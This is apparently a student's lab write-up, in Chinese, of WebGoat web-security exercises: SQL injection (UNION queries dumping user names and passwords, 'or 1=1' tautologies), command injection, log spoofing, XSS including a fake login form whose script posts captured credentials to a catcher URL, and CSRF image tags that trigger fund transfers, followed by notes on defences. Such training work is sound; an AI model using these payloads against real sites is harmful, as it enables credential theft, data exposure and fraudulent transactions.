2017-2018-2 20155203《網絡對抗技術》Exp9 :Web安全基礎

實踐過程記錄

- SQL Injection(Webgoat 8.0&Webgoat7.0)

1. SQL Injection(Webgoat 8.0)。

這一部分很基礎,是簡單的sql注入,就是用輸入的內容和頁面自己的查詢語句結合起來生成咱們想要查詢的內容,固然頁面的安全性必須至關低。
按照題目要求作就能找到須要的信息。
javascript

2. SQL Injection(ADVANCED)(Webgoat 8.0)

關於這一部分參考了一些資料:
關於SQL注入,你應該知道的那些事
使用了union語句
Smith union select * from user_system_data where user_name = 'dave'--
html

聯合查詢TABLE user_system_data中dave的信息,失敗,顯示必需要用正確的列數或者多是表項數目的意思。所以要測試來肯定列數究竟是多少,使用了齊帥同窗的方法。Smith' order by 7--order by通常是用於排序,asc是升序,desc是降序。數字的意思是按照某一列的順序(字母順序或數字大小)升序排列,因爲咱們只能搜索Smith的信息只有第五列是不一樣的,因此能夠嘗試按照第五列排列會發現是有變化的。因此經過這樣的辦法,能夠肯定列數。java

Smith' union select null,null,null,null,null,null,null from user_system_data --

能夠查詢看來咱們判斷的列數是正確的
肯定列數後就能夠利用已知的列數來聯合查找一下啦
程序員

第一個表項不寫null,會出錯,就從第二個猜是否是分別是用戶名和密碼web

Smith' union select null,user_nam,password,null,null,null,null from user_system_data --

成功啦~看看其餘的內容能不能猜想一下~
sql

猜想了userid,成功啦~ 是102數據庫

3. Command Injection

須要一個firebug,安裝教程:firebug安裝後就能夠查看網頁源碼。瀏覽器

在當前網頁下打開firebug
安全

這裏咱們要在下拉框的選項中注入一項命令,個人理解是,這條指令是對服務器使用的,
好比:"& netstat -an & ipconfig"這個注入至關因而爲網頁設置了一個端點改變網頁的一部分來調試運行,刷新以後就會消失失去做用,可是能夠經過調試的結果收集服務器的一些信息
服務器

4. Numeric SQL Injection

利用永真式達到查詢數據庫所有內容的目的,這裏與上次的實驗不一樣的是,上一次的輸入文本,這一次要更改下拉框中選項的值(value),因此也不須要在後面加註釋號。在firebug中更改某個下拉框選項的值爲
「xxx or 1=1」

5. Log Spoofing

登錄欺騙,在用戶名文本框中輸入
%0d%0aLogin succeeded !20155203
能夠顯示登錄成功,不過我很困惑,這不是本身騙本身嗎?其實最終目的不是要讓本身看到登陸成功了,而是要在服務器的日誌中作假記錄,成功~

6. String SQL Injection

跟上次實驗同樣~

7. LAB: SQL Injection

stage1:修改網頁源代碼中password文本框的可輸入長度(加長),輸入
' or 1=1 --登錄Neville成功。

用Neville查看profile

stage3:
仍是將larry下拉選項的value改成
101 or 1=1

- XSS

8. XSS(Webgoat 8.0)

首先是要查看兩個相同的網頁的cookie是否相同。Cookie,只是一條極爲短小的信息,它可以被網站自動地放置在一臺電腦的硬盤中,網站是依靠Cookie來辨認咱們的行蹤的。
![](https://images2018.cnblogs.com/blog/1065404/201805/1065404-20180522144220504-338538990.png)


直接清空地址欄輸入```javascript:alert(document.cookie);```,在地址欄直接使用javascript函數能夠進行不少查詢,首先是能夠出現提示框,如```javascript:alert(‘hello world’);```

最直接的方法是用來查詢該頁面上的一些信息,好比查詢背景顏色.
javascript:alert(document.body.style.backgroundColor);void(0);

利用javascript重定向:
```javascript:document.location=http://www.baidu.com```

能夠經過void指令來修改cookie;```javascript: void(document.cookie=「PHPSESSID = hacked」); alert(document.cookie);```不過這個可能有些網站作不到。

能夠發現兩個相同頁面的cookie值是相同的。

9. Phishing with XSS

要在搜索框裏添加一個表格的html源碼,這個表格的設計基本按照登錄界面實現,要有一個欺騙的提示好比This feature requires account login:提示用戶輸入用戶名密碼

代碼以下:

<form>
<script>
    function hack(){ 
        XSSImage=new Image;
        XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
        alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
</script>
<form name="phish">
<br>
<br>
<HR>
    <H2>This feature requires account login:</H2>
<br>
    <br>Enter Username:<br>
    <input type="text" name="user">
    <br>Enter Password:<br>
    <input type="password" name = "pass">
<br>
    <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

用戶登錄後會直接彈出獲取用戶名密碼的提示,攻擊成功

### 10. Reflected XSS Attacks

之因此稱爲反射型XSS,則是由於這種攻擊方式的注入代碼是從目標服務器經過錯誤信息、搜索結果等等方式「反射」回來的。而稱爲非持久型XSS,則是由於這種攻擊方式具備一次性。

關於這一部分webgoat作了如下解釋:

驗證服務器端的全部輸入老是一個好習慣。 在HTTP響應中使用未經驗證的用戶輸入時,可能會發生XSS。 在反映(reflected)的XSS攻擊中,攻擊者能夠利用攻擊腳本製做一個URL並將其發佈到另外一個網站,發送電子郵件或以其餘方式讓受害者點擊它。

這段話的意思是,對於輸入的內容不進行驗證的網頁,咱們能夠把本身寫一段代碼插入到網頁源碼中,網頁會執行這段代碼。並且網頁會解釋這段代碼。

好比攻擊者將以下連接發送給受害者: http://www.targetserver.com/search.asp?input=

當受害者點擊這個連接的時候,注入的腳本被看成搜索的關鍵詞發送到目標服務器的search.asp頁面中,則在搜索結果的返回頁面中,這段腳本將被看成搜索的關鍵詞而嵌入。這樣,當用戶獲得搜索結果頁面後,這段腳本也獲得了執行。這就是反射型XSS攻擊的原理,能夠看到,攻擊者巧妙地經過反射型XSS的攻擊方式,達到了在受害者的瀏覽器上執行腳本的目的。因爲代碼注入的是一個動態產生的頁面而不是永久的頁面,所以這種攻擊方式只在點擊連接的時候才產生做用,這也是它被稱爲非持久型XSS的緣由。

在這個題目中輸入

<script>alert("20155203 is trying to attack");</script>

就會出現提示,說明網頁已經執行了這一語句。

- CRSF

須要一個firebug,安裝教程:firebug安裝後就能夠查看網頁源碼。

11. Cross Site Request Forgery (CSRF)

在MESSAGE中輸入一段代碼
<img src="http://localhost:8080/WebGoat/attack?Screen=277&menu=900&transferFunds=4000"/>意思是建立一個連接,輸入後會在message list中產生一個消息,victim點開這條消息其帳戶會被轉走4000。

12. CSRF Prompt By-Pass

這一個任務是再上一個任務的基礎上再增長一條轉帳確認消息

<img src="attack?Screen=267&menu=900&transferFunds=5000" 
width="1" height="1"> 
<img src="attack?Screen=267&menu=900&transferFunds=confirm" 
width="1" height="1">

實驗後回答問題

(1)SQL注入攻擊原理,如何防護

SQL注入便是指web應用程序對用戶輸入數據的合法性沒有判斷,攻擊者能夠在web應用程序中事先定義好的查詢語句的結尾上添加額外的SQL語句,以此來實現欺騙數據庫服務器執行非受權的任意查詢,從而進一步獲得相應的數據信息。個人理解就是,利用程序員寫網頁時候的漏洞,輸入可以構成SQL語句的文本,達到查詢想要的信息的目的的攻擊。

防護的方法,能夠進行輸入驗證,好比說設定用戶名時不能加入特殊符號;進行權限控制,不容許任意用戶都能對數據庫進行總體訪問,好比說員工和老闆,老師和學生。

(2)XSS攻擊的原理,如何防護

XSS攻擊是Web攻擊中最多見的攻擊方法之一,它是經過對網頁注入可執行代碼且成功地被瀏覽器
執行,達到攻擊的目的,造成了一次有效XSS攻擊,一旦攻擊成功,它能夠獲取用戶的聯繫人列
表,而後向聯繫人發送虛假詐騙信息,能夠刪除用戶的日誌等等,有時候還和其餘攻擊方式同時實
施好比SQL注入攻擊服務器和數據庫、Click劫持、相對連接劫持等實施釣魚,它帶來的危害是巨
大的,是web安全的頭號大敵。

個人理解是:和sql注入不一樣,在XSS攻擊中,網站只是攻擊者的工具來誘騙被攻擊者的平臺,經過發帖等形式來構造一些界面達到獲得被攻擊者重要信息的目的。

防護的方法,一種方法是在表單提交或者url參數傳遞前,對須要的參數進行過濾;另外一種是過濾用戶輸入的 檢查用戶輸入的內容中是否有非法內容。如<>(尖括號)、」(引號)、 ‘(單引號)、%(百分比符號)、;(分號)、()(括號)、&(& 符號)、+(加號)等。、嚴格控制輸出

(3)CSRF攻擊原理,如何防護

Cross-site request forgery,是一種對網站的惡意利用,CSRF比XSS更具危險性。

1. 用戶C打開瀏覽器,訪問受信任網站A,輸入用戶名和密碼請求登陸網站A;

   2.在用戶信息經過驗證後,網站A產生Cookie信息並返回給瀏覽器,此時用戶登陸網站A成功,能夠正常發送請求到網站A;

   3. 用戶未退出網站A以前,在同一瀏覽器中,打開一個TAB頁訪問網站B;

   4. 網站B接收到用戶請求後,返回一些攻擊性代碼,併發出一個請求要求訪問第三方站點A;


   5. 瀏覽器在接收到這些攻擊性代碼後,根據網站B的請求,在用戶不知情的狀況下攜帶Cookie信息,向網站A發出請求。網站A並不知道該請求實際上是由B發起的,因此會根據用戶C的Cookie信息以C的權限處理該請求,致使來自網站B的惡意代碼被執行。

防護的方法:目前防護 CSRF 攻擊主要有三種策略:驗證 HTTP Referer 字段;在請求地址中添加 token 並驗證;在 HTTP 頭中自定義屬性並驗證。

實驗總結與體會

網頁雖然看起來很簡單,實際上有好多好多的塊,攻擊雖然照貓畫虎也明白了很多東西,也作了一些新的小嚐試,頗有趣。

相關文章
相關標籤/搜索